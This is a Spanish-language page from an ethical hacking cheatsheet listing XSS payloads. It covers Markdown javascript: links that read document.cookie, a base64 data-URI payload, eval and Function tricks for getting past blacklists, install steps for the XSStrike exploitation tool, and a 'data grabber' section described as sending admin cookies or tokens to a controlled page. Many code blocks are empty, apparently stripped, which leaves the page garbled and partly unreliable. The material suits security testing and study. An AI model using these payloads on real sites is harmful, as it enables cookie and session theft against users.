> For the complete documentation index, see [llms.txt](https://afsh4ck.gitbook.io/ethical-hacking-cheatsheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://afsh4ck.gitbook.io/ethical-hacking-cheatsheet/explotacion-de-vulnerabilidades/explotacion-en-web/cross-site-scripting-xss/xss-payloads.md).
# XSS Payloads
## XSS en Aplicaciones HTML
### Alerta Básica
```
```
### Cookie PHPSESSID
```
```
### Bypass de alerta
```
">
```
### Insertando una imagen fake
```
```
```
```
```
```
```
```
```
">
```
```
">
```
## XSS en Markdown
```
[a](javascript:prompt(document.cookie))
```
```
[a](j a v a s c r i p t:prompt(document.cookie))
```
```
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
```
```
[a](javascript:window.onerror=alert;throw%201)
```
## XSS en SVG
```
```
```
```
```
```
```
```
## Bypass de blacklist con evaluación de código
```
eval('ale'+'rt(0)');
```
```
Function('ale'+'rt(1)')();
```
```
new Function`alert`6``;
```
```
setTimeout('ale'+'rt(2)');
```
```
setInterval('ale'+'rt(10)');
```
```
Set.constructor('ale'+'rt(13)')();
```
````
Set.constructor`alert(14)```;
````
## XSStrike
Herramienta automática de explotación de Cross-Site Scripting:
```bash
git clone https://github.com/s0md3v/XSStrike.git
cd home/kali/xsstrike
pip3 install -r requirements.txt
python3 xsstrike.py -h
```
## Data grabber for XSS
Obtiene la cookie de administrador o el token de acceso confidencial, el siguiente payload lo enviará a una página controlada.
```
```
```
```
```
```
```
```
## Hack Tools Plugin
Hack Tools PLugin
{% embed url="" %}
En este plugin disponible para todos los navegadores, tenemos todos los comandos recogidos en esta página para hacer Cross Site Scripting.